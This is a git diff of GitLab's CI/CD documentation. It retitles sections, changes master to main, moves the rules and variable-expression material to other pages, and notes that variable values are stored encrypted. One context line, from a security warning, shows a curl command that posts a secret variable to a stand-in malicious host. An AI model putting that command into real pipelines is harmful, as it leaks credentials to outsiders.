- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope**: `All`, or specific [environments](../environments/index.md).
+ - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md).
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked
@@ -161,10 +161,9 @@ The output is:
![Output custom variable](img/custom_variables_output.png)
-### Group CI/CD variables
+### Add a CI/CD variable to a group
-> - Introduced in GitLab 9.4.
-> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
+> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
@@ -181,14 +180,16 @@ To add a group variable:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
+ - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
-To view the group-level variables available in a project:
+#### View all group-level variables available in a project
+
+To view all the group-level variables available in a project:
1. In the project, go to **Settings > CI/CD**.
1. Expand the **Variables** section.
@@ -198,19 +199,20 @@ inherited.
![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-### Instance CI/CD variables
+### Add a CI/CD variable to an instance **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
To make a CI/CD variable available to all projects and groups in a GitLab instance,
-define an instance CI/CD variable.
+add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md).
You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md).
To add an instance variable:
-1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section.
1. Select the **Add variable** button, and fill in the details:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
@@ -285,7 +287,7 @@ does not display in job logs.
To mask a variable:
-1. Go to **Settings > CI/CD** in the project, group or instance admin area.
+1. In the project, group, or Admin Area, go to **Settings > CI/CD**.
1. Expand the **Variables** section.
1. Next to the variable you want to protect, select **Edit**.
1. Select the **Mask variable** check box.
@@ -337,6 +339,10 @@ build:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
+Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
+and stored in the database. This data can only be read and decrypted with a
+valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
+
### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
@@ -392,9 +398,9 @@ job_name:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
```
-### Windows Batch
+### Use variables with Windows Batch
-To access environment variables in Windows Batch, surround the variable
+To access CI/CD variables in Windows Batch, surround the variable
with `%`:
```yaml
@@ -434,7 +440,7 @@ Example job log output:
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
-export CI_COMMIT_REF_NAME="master"
+export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
@@ -544,8 +550,8 @@ The order of precedence for variables is (from highest to lowest):
[scheduled pipeline variables](../pipelines/schedules.md#using-variables),
and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
1. Project [variables](#custom-cicd-variables).
-1. Group [variables](#group-cicd-variables).
-1. Instance [variables](#instance-cicd-variables).
+1. Group [variables](#add-a-cicd-variable-to-a-group).
+1. Instance [variables](#add-a-cicd-variable-to-an-instance).
1. [Inherited variables](#pass-an-environment-variable-to-another-job).
1. Variables defined in jobs in the `.gitlab-ci.yml` file.
1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
@@ -596,7 +602,7 @@ You can grant permission to override variables to [maintainers](../../user/permi
with overridden variables, they receive the `Insufficient permissions to set pipeline variables`
error message.
-If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
+If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-file),
use this setting for control over the environment the pipeline runs in.
You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
@@ -641,194 +647,6 @@ with `K8S_SECRET_`.
CI/CD variables with multi-line values are not supported.
-## CI/CD variable expressions
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables)
-> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
-
-Use variable expressions to limit which jobs are created
-in a pipeline after changes are pushed to GitLab.
-
-In `.gitlab-ci.yml`, variable expressions work with both:
-
-- [`rules`](../yaml/README.md#rules), which is the recommended approach, and
-- [`only` and `except`](../yaml/README.md#only--except), which are candidates for deprecation.
-
-This is particularly useful in combination with variables and triggered
-pipeline variables.
-
-```yaml
-deploy:
- script: cap staging deploy
- environment: staging
- only:
- variables:
- - $RELEASE == "staging"
- - $STAGING
-```
-
-Each expression provided is evaluated before a pipeline is created.
-
-If any of the conditions in `variables` evaluates to true when using `only`,
-a new job is created. If any of the expressions evaluates to true
-when `except` is being used, a job is not created.
-
-This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyvariables--exceptvariables).
-
-### Syntax of CI/CD variable expressions
-
-Below you can find supported syntax reference.
-
-#### Equality matching using a string
-
-Examples:
-
-- `$VARIABLE == "some value"`
-- `$VARIABLE != "some value"` (introduced in GitLab 11.11)
-
-You can use equality operator `==` or `!=` to compare a variable content to a
-string. We support both, double quotes and single quotes to define a string
-value, so both `$VARIABLE == "some value"` and `$VARIABLE == 'some value'`
-are supported. `"some value" == $VARIABLE` is correct too.
-
-#### Checking for an undefined value
-
-Examples:
-
-- `$VARIABLE == null`
-- `$VARIABLE != null` (introduced in GitLab 11.11)
-
-It sometimes happens that you want to check whether a variable is defined
-or not. To do that, you can compare a variable to `null` keyword, like
-`$VARIABLE == null`. This expression evaluates to true if
-variable is not defined when `==` is used, or to false if `!=` is used.
-
-#### Checking for an empty variable
-
-Examples:
-
-- `$VARIABLE == ""`
-- `$VARIABLE != ""` (introduced in GitLab 11.11)
-
-To check if a variable is defined but empty, compare it to:
-
-- An empty string: `$VARIABLE == ''`
-- A non-empty string: `$VARIABLE != ""`
-
-#### Comparing two variables
-
-Examples:
-
-- `$VARIABLE_1 == $VARIABLE_2`
-- `$VARIABLE_1 != $VARIABLE_2` (introduced in GitLab 11.11)
-
-It is possible to compare two variables. This compares values
-of these variables.
-
-#### Variable presence check
-
-Example: `$STAGING`
-
-To create a job when there is some variable present, meaning it is defined and non-empty,
-use the variable name as an expression, like `$STAGING`. If the `$STAGING` variable
-is defined, and is non empty, expression evaluates to `true`.
-`$STAGING` value needs to be a string, with length higher than zero.
-Variable that contains only whitespace characters is not an empty variable.
-
-#### Regex pattern matching
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43601) in GitLab 11.0
-
-Examples:
-
-- `=~`: True if pattern is matched. Ex: `$VARIABLE =~ /^content.*/`
-- `!~`: True if pattern is not matched. Ex: `$VARIABLE_1 !~ /^content.*/` ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/61900) in GitLab 11.11)
-
-Variable pattern matching with regular expressions uses the
-[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax).
-Expressions evaluate as `true` if:
-
-- Matches are found when using `=~`.
-- Matches are *not* found when using `!~`.
-
-Pattern matching is case-sensitive by default. Use `i` flag modifier, like
-`/pattern/i` to make a pattern case-insensitive.
-
-#### Conjunction / Disjunction
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0
-
-Examples:
-
-- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"`
-- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3`
-- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3`
-
-It is possible to join multiple conditions using `&&` or `||`. Any of the otherwise
-supported syntax may be used in a conjunctive or disjunctive statement.
-Precedence of operators follows the
-[Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html),
-so `&&` is evaluated before `||`.
-
-#### Parentheses
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5.
-
-It is possible to use parentheses to group conditions. Parentheses have the highest
-precedence of all operators. Expressions enclosed in parentheses are evaluated first,
-and the result is used for the rest of the expression.
-
-Many nested parentheses can be used to create complex conditions, and the inner-most
-expressions in parentheses are evaluated first. For an expression to be valid an equal
-number of `(` and `)` need to be used.
-
-Examples:
-
-- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)`
-- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3`
-- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)`
-
-### Storing regular expressions in variables
-
-It is possible to store a regular expression in a variable, to be used for pattern matching.
-The following example tests whether `$RELEASE` contains either the
-string `staging0` or the string `staging1`:
-
-```yaml
-variables:
- STAGINGRELS: '/staging0|staging1/'
-
-deploy_staging:
- script: do.sh deploy staging
- environment: staging
- rules:
- - if: '$RELEASE =~ $STAGINGRELS'
-```
-
-NOTE:
-The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438)
-for more details.
-
-If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly,
-as well as from in a variable:
-
-```yaml
-variables:
- MYSTRING: 'master'
- MYREGEX: '/^mast.*/'
-
-testdirect:
- script: /bin/true
- rules:
- - if: '$MYSTRING =~ /^mast.*/'
-
-testvariable:
- script: /bin/true
- rules:
- - if: '$MYSTRING =~ $MYREGEX'
-```
-
## Debug logging
> Introduced in GitLab Runner 1.7.
@@ -943,8 +761,8 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_PROJECT_VISIBILITY=public
++ export CI_PROJECT_REPOSITORY_LANGUAGES=
++ CI_PROJECT_REPOSITORY_LANGUAGES=
-++ export CI_DEFAULT_BRANCH=master
-++ CI_DEFAULT_BRANCH=master
+++ export CI_DEFAULT_BRANCH=main
+++ CI_DEFAULT_BRANCH=main
++ export CI_REGISTRY=registry.gitlab.com
++ CI_REGISTRY=registry.gitlab.com
++ export CI_API_V4_URL=https://gitlab.com/api/v4
@@ -961,10 +779,10 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_COMMIT_SHORT_SHA=dd648b2e
++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
-++ export CI_COMMIT_REF_NAME=master
-++ CI_COMMIT_REF_NAME=master
-++ export CI_COMMIT_REF_SLUG=master
-++ CI_COMMIT_REF_SLUG=master
+++ export CI_COMMIT_REF_NAME=main
+++ CI_COMMIT_REF_NAME=main
+++ export CI_COMMIT_REF_SLUG=main
+++ CI_COMMIT_REF_SLUG=main
...
```
diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md
index 9cb960ae8ec..bd280cc4825 100644
--- a/doc/ci/variables/predefined_variables.md
+++ b/doc/ci/variables/predefined_variables.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -52,6 +52,8 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `CI_ENVIRONMENT_NAME` | 8.15 | all | The name of the environment for this job. Available if [`environment:name`](../yaml/README.md#environmentname) is set. |
| `CI_ENVIRONMENT_SLUG` | 8.15 | all | The simplified version of the environment name, suitable for inclusion in DNS, URLs, Kubernetes labels, and so on. Available if [`environment:name`](../yaml/README.md#environmentname) is set. The slug is [truncated to 24 characters](https://gitlab.com/gitlab-org/gitlab/-/issues/20941). |
| `CI_ENVIRONMENT_URL` | 9.3 | all | The URL of the environment for this job. Available if [`environment:url`](../yaml/README.md#environmenturl) is set. |
+| `CI_ENVIRONMENT_ACTION` | 13.11 | all | The action annotation specified for this job's environment. Available if [`environment:action`](../yaml/README.md#environmentaction) is set. Can be `start`, `prepare`, or `stop`. |
+| `CI_ENVIRONMENT_TIER` | 14.0 | all | The [deployment tier of the environment](../environments/index.md#deployment-tier-of-environments) for this job. |
| `CI_HAS_OPEN_REQUIREMENTS` | 13.1 | all | Only available if the pipeline's project has an open [requirement](../../user/project/requirements/index.md). `true` when available. |
| `CI_JOB_ID` | 9.0 | all | The internal ID of the job, unique across all jobs in the GitLab instance. |
| `CI_JOB_IMAGE` | 12.9 | 12.9 | The name of the Docker image running the job. |
@@ -75,7 +77,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `CI_PIPELINE_TRIGGERED` | all | all | `true` if the job was [triggered](../triggers/README.md). |
| `CI_PIPELINE_URL` | 11.1 | 0.5 | The URL for the pipeline details. |
| `CI_PIPELINE_CREATED_AT` | 13.10 | all | The UTC datetime when the pipeline was created, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. |
-| `CI_PROJECT_CONFIG_PATH` | 13.8 | all | (Deprecated) The CI configuration path for the project. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/321334) in GitLab 13.10. [Removal planned](https://gitlab.com/gitlab-org/gitlab/-/issues/322807) for GitLab 14.0. |
+| `CI_PROJECT_CONFIG_PATH` | 13.8 to 13.12 | all | [Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/322807) in GitLab 14.0. Use `CI_CONFIG_PATH`. |
| `CI_PROJECT_DIR` | all | all | The full path the repository is cloned to, and where the job runs from. If the GitLab Runner `builds_dir` parameter is set, this variable is set relative to the value of `builds_dir`. For more information, see the [Advanced GitLab Runner configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section). |
| `CI_PROJECT_ID` | all | all | The ID of the current project. This ID is unique across all projects on the GitLab instance. |
| `CI_PROJECT_NAME` | 8.10 | 0.5 | The name of the directory for the project. For example if the project URL is `gitlab.example.com/group-name/project-1`, `CI_PROJECT_NAME` is `project-1`. |
diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md
index 3e1518447d6..76d4d929ff0 100644
--- a/doc/ci/variables/where_variables_can_be_used.md
+++ b/doc/ci/variables/where_variables_can_be_used.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -35,7 +35,7 @@ There are two places defined variables can be used. On the:
| `cache:key` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
| `artifacts:name` | yes | Runner | The variable expansion is made by GitLab Runner's shell environment |
| `script`, `before_script`, `after_script` | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment) |
-| `only:variables:[]`, `except:variables:[]`, `rules:if` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
+| `only:variables:[]`, `except:variables:[]`, `rules:if` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
### `config.toml` file
@@ -174,7 +174,7 @@ They are:
- Script execution shell.
- Not supported:
- For definitions where the ["Expansion place"](#gitlab-ciyml-file) is GitLab.
- - In the `only` and `except` [variables expressions](README.md#cicd-variable-expressions).
+ - In the `only` and `except` [variables expressions](../jobs/job_control.md#cicd-variable-expressions).
Some of the persisted variables contain tokens and cannot be used by some definitions
due to security reasons.
@@ -193,7 +193,6 @@ my-job:
name: review/$CI_JOB_STAGE/deploy
script:
- 'deploy staging'
- only:
- variables:
- - $STAGING_SECRET == 'something'
+ rules:
+ - if: $STAGING_SECRET == 'something'
```
diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md
index e9b3a2213c8..8e9cf00b160 100644
--- a/doc/ci/yaml/README.md
+++ b/doc/ci/yaml/README.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -15,7 +15,7 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f
- For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/index.md).
- For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md).
-- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml).
+- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml).
When you are editing your `.gitlab-ci.yml` file, you can validate it with the
[CI Lint](../lint.md) tool.
@@ -192,7 +192,7 @@ Some example `if` clauses for `workflow: rules`:
| `if: $CI_COMMIT_TAG` | Control when tag pipelines run. |
| `if: $CI_COMMIT_BRANCH` | Control when branch pipelines run. |
-See the [common `if` clauses for `rules`](#common-if-clauses-for-rules) for more examples.
+See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-clauses-for-rules) for more examples.
In the following example, pipelines run for all `push` events (changes to
branches and new tags). Pipelines for push events with `-draft` in the commit message
@@ -228,7 +228,7 @@ The final `when: always` rule runs all other pipeline types, **including** merge
request pipelines.
If your rules match both branch pipelines and merge request pipelines,
-[duplicate pipelines](#avoid-duplicate-pipelines) can occur.
+[duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur.
#### `workflow:rules:variables`
@@ -253,7 +253,7 @@ variables:
workflow:
rules:
- - if: $CI_COMMIT_REF_NAME =~ /master/
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
variables:
DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE
- if: $CI_COMMIT_REF_NAME =~ /feature/
@@ -265,7 +265,7 @@ job1:
variables:
DEPLOY_VARIABLE: "job1-default-deploy"
rules:
- - if: $CI_COMMIT_REF_NAME =~ /master/
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
variables: # Override DEPLOY_VARIABLE defined
DEPLOY_VARIABLE: "job1-deploy-production" # at the job level.
- when: on_success # Run the job in other cases
@@ -279,7 +279,7 @@ job2:
- echo "Run another script if $IS_A_FEATURE exists"
```
-When the branch is `master`:
+When the branch is the default branch:
- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`.
- job2's `DEPLOY_VARIABLE` is `deploy-production`.
@@ -356,7 +356,7 @@ include:
To make the pipeline switch from branch pipelines to merge request pipelines after
a merge request is created, add a `workflow: rules` section to your `.gitlab-ci.yml` file.
-If you use both pipeline types at the same time, [duplicate pipelines](#avoid-duplicate-pipelines)
+If you use both pipeline types at the same time, [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines)
might run at the same time. To prevent duplicate pipelines, use the
[`CI_OPEN_MERGE_REQUESTS` variable](../variables/predefined_variables.md).
@@ -559,7 +559,7 @@ You can also specify a `ref`. If you do not specify a value, the ref defaults to
```yaml
include:
- project: 'my-group/my-project'
- ref: master
+ ref: main
file: '/templates/.gitlab-ci-template.yml'
- project: 'my-group/my-project'
@@ -584,7 +584,7 @@ You can include multiple files from the same project:
```yaml
include:
- project: 'my-group/my-project'
- ref: master
+ ref: main
file:
- '/templates/.builds.yml'
- '/templates/.tests.yml'
@@ -598,7 +598,7 @@ authentication in the remote URL is not supported. For example:
```yaml
include:
- - remote: 'https://gitlab.com/example-project/-/raw/master/.gitlab-ci.yml'
+ - remote: 'https://gitlab.com/example-project/-/raw/main/.gitlab-ci.yml'
```
All [nested includes](#nested-includes) execute without context as a public user,
@@ -609,7 +609,7 @@ so you can only `include` public projects or templates.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53445) in GitLab 11.7.
Use `include:template` to include `.gitlab-ci.yml` templates that are
-[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates).
+[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
For example:
@@ -991,8 +991,8 @@ but you can use as many as eleven. The following example has two levels of inher
```yaml
.tests:
- only:
- - pushes
+ rules:
+ - if: $CI_PIPELINE_SOURCE == "push"
.rspec:
extends: .tests
@@ -1028,9 +1028,9 @@ levels. For example:
variables:
URL: "http://my-url.internal"
IMPORTANT_VAR: "the details"
- only:
- - master
- - stable
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ - if: $CI_COMMIT_BRANCH == "stable"
tags:
- production
script:
@@ -1061,9 +1061,9 @@ rspec:
URL: "http://docker-url.internal"
IMPORTANT_VAR: "the details"
GITLAB: "is-awesome"
- only:
- - master
- - stable
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ - if: $CI_COMMIT_BRANCH == "stable"
tags:
- docker
image: alpine
@@ -1113,202 +1113,32 @@ Use `rules` to include or exclude jobs in pipelines.
Rules are evaluated *in order* until the first match. When a match is found, the job
is either included or excluded from the pipeline, depending on the configuration.
-The job can also have [certain attributes](#rules-attributes)
-added to it.
`rules` replaces [`only/except`](#only--except) and they can't be used together
-in the same job. If you configure one job to use both keywords, the linter returns a
-`key may not be used with rules` error.
-
-#### Rules attributes
-
-The job attributes you can use with `rules` are:
+in the same job. If you configure one job to use both keywords, the GitLab returns
+a `key may not be used with rules` error.
-- [`when`](#when): If not defined, defaults to `when: on_success`.
- - If used as `when: delayed`, `start_in` is also required.
-- [`allow_failure`](#allow_failure): If not defined, defaults to `allow_failure: false`.
-- [`variables`](#rulesvariables): If not defined, uses the [variables defined elsewhere](#variables).
+`rules` accepts an array of rules defined with:
-If a rule evaluates to true, and `when` has any value except `never`, the job is included in the pipeline.
-
-For example:
-
-```yaml
-docker build:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- rules:
- - if: '$CI_COMMIT_BRANCH == "master"'
- when: delayed
- start_in: '3 hours'
- allow_failure: true
-```
-
-#### Rules clauses
-
-Available rule clauses are:
-
-| Clause | Description |
-|----------------------------|------------------------------------------------------------------------------------------------------------------------------------|
-| [`if`](#rulesif) | Add or exclude jobs from a pipeline by evaluating an `if` statement. Similar to [`only:variables`](#onlyvariables--exceptvariables). |
-| [`changes`](#ruleschanges) | Add or exclude jobs from a pipeline based on what files are changed. Same as [`only:changes`](#onlychanges--exceptchanges). |
-| [`exists`](#rulesexists) | Add or exclude jobs from a pipeline based on the presence of specific files. |
-
-Rules are evaluated in order until a match is found. If a match is found, the attributes
-are checked to see if the job should be added to the pipeline. If no attributes are defined,
-the defaults are:
+- `if`
+- `changes`
+- `exists`
+- `allow_failure`
+- `variables`
+- `when`
-- `when: on_success`
-- `allow_failure: false`
+You can combine multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules).
The job is added to the pipeline:
-- If a rule matches and has `when: on_success`, `when: delayed` or `when: always`.
-- If no rules match, but the last clause is `when: on_success`, `when: delayed`
- or `when: always` (with no rule).
+- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default),
+ `when: delayed`, or `when: always`.
+- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`.
The job is not added to the pipeline:
-- If no rules match, and there is no standalone `when: on_success`, `when: delayed` or
- `when: always`.
-- If a rule matches, and has `when: never` as the attribute.
-
-The following example uses `if` to strictly limit when jobs run:
-
-```yaml
-job:
- script: echo "Hello, Rules!"
- rules:
- - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
- when: manual
- allow_failure: true
- - if: '$CI_PIPELINE_SOURCE == "schedule"'
-```
-
-- If the pipeline is for a merge request, the first rule matches, and the job
- is added to the [merge request pipeline](../merge_request_pipelines/index.md)
- with attributes of:
- - `when: manual` (manual job)
- - `allow_failure: true` (the pipeline continues running even if the manual job is not run)
-- If the pipeline is **not** for a merge request, the first rule doesn't match, and the
- second rule is evaluated.
-- If the pipeline is a scheduled pipeline, the second rule matches, and the job
- is added to the scheduled pipeline. No attributes were defined, so it is added
- with:
- - `when: on_success` (default)
- - `allow_failure: false` (default)
-- In **all other cases**, no rules match, so the job is **not** added to any other pipeline.
-
-Alternatively, you can define a set of rules to exclude jobs in a few cases, but
-run them in all other cases:
-
-```yaml
-job:
- script: echo "Hello, Rules!"
- rules:
- - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
- when: never
- - if: '$CI_PIPELINE_SOURCE == "schedule"'
- when: never
- - when: on_success
-```
-
-- If the pipeline is for a merge request, the job is **not** added to the pipeline.
-- If the pipeline is a scheduled pipeline, the job is **not** added to the pipeline.
-- In **all other cases**, the job is added to the pipeline, with `when: on_success`.
-
-WARNING:
-If you use a `when:` clause as the final rule (not including `when: never`), two
-simultaneous pipelines may start. Both push pipelines and merge request pipelines can
-be triggered by the same event (a push to the source branch for an open merge request).
-See how to [prevent duplicate pipelines](#avoid-duplicate-pipelines)
-for more details.
-
-#### Avoid duplicate pipelines
-
-If a job uses `rules`, a single action, like pushing a commit to a branch, can trigger
-multiple pipelines. You don't have to explicitly configure rules for multiple types
-of pipeline to trigger them accidentally.
-
-Some configurations that have the potential to cause duplicate pipelines cause a
-[pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed.
-[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219431) in GitLab 13.3.
-
-For example:
-
-```yaml
-job:
- script: echo "This job creates double pipelines!"
- rules:
- - if: '$CUSTOM_VARIABLE == "false"'
- when: never
- - when: always
-```
-
-This job does not run when `$CUSTOM_VARIABLE` is false, but it *does* run in **all**
-other pipelines, including **both** push (branch) and merge request pipelines. With
-this configuration, every push to an open merge request's source branch
-causes duplicated pipelines.
-
-To avoid duplicate pipelines, you can:
-
-- Use [`workflow`](#workflow) to specify which types of pipelines
- can run.
-- Rewrite the rules to run the job only in very specific cases,
- and avoid a final `when:` rule:
-
- ```yaml
- job:
- script: echo "This job does NOT create double pipelines!"
- rules:
- - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"'
- ```
-
-You can also avoid duplicate pipelines by changing the job rules to avoid either push (branch)
-pipelines or merge request pipelines. However, if you use a `- when: always` rule without
-`workflow: rules`, GitLab still displays a [pipeline warning](../troubleshooting.md#pipeline-warnings).
-
-For example, the following does not trigger double pipelines, but is not recommended
-without `workflow: rules`:
-
-```yaml
-job:
- script: echo "This job does NOT create double pipelines!"
- rules:
- - if: '$CI_PIPELINE_SOURCE == "push"'
- when: never
- - when: always
-```
-
-You should not include both push and merge request pipelines in the same job without
-[`workflow:rules` that prevent duplicate pipelines](#switch-between-branch-pipelines-and-merge-request-pipelines):
-
-```yaml
-job:
- script: echo "This job creates double pipelines!"
- rules:
- - if: '$CI_PIPELINE_SOURCE == "push"'
- - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
-```
-
-Also, do not mix `only/except` jobs with `rules` jobs in the same pipeline.
-It may not cause YAML errors, but the different default behaviors of `only/except`
-and `rules` can cause issues that are difficult to troubleshoot:
-
-```yaml
-job-with-no-rules:
- script: echo "This job runs in branch pipelines."
-
-job-with-rules:
- script: echo "This job runs in merge request pipelines."
- rules:
- - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
-```
-
-For every change pushed to the branch, duplicate pipelines run. One
-branch pipeline runs a single job (`job-with-no-rules`), and one merge request pipeline
-runs the other job (`job-with-rules`). Jobs with no rules default
-to [`except: merge_requests`](#only--except), so `job-with-no-rules`
-runs in all cases except merge requests.
+- If no rules match.
